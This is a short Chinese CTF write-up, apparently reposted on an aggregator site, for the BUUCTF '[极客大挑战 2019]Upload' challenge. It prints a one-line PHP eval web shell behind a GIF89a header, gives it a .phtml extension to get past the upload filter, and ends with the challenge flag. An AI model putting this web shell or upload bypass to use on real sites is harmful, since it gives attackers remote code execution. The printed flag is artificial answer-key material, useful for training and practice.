BUU-WEB-[极客大挑战 2019]Upload

Posted TzZzEZ-web

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU-WEB-[极客大挑战 2019]Upload相关的知识,希望对你有一定的参考价值。

[极客大挑战 2019]Upload

在这里插入图片描述
简单说一下思路,从题目看出来是文件上传漏洞,利用一句话木马使用蚁剑或者菜刀连接。
一句话木马为:

GIF89a? 
<script language="php">eval($_REQUEST[shell])</script>

文件后缀名为phtml

在这里插入图片描述
上传的时候修改文件属性。
在这里插入图片描述
找到上传的网页,利用工具连接。
在这里插入图片描述
成功连接,打开终端搜寻flag。
在这里插入图片描述

flag{69a6b539-77e8-49a3-bad7-7187d1541c59}

以上是关于BUU-WEB-[极客大挑战 2019]Upload的主要内容,如果未能解决你的问题,请参考以下文章

BUU-WEB-[极客大挑战 2019]Upload

BUU-WEB-[极客大挑战 2019]PHP

BUU-WEB-[极客大挑战 2019]BuyFlag

[HCTF 2018]WarmUp&[极客大挑战 2019]Knife&[极客大挑战 2019]Secret File&[极客大挑战 2019]BuyFlag

[极客大挑战 2019]EasySQL

BUUCTF-web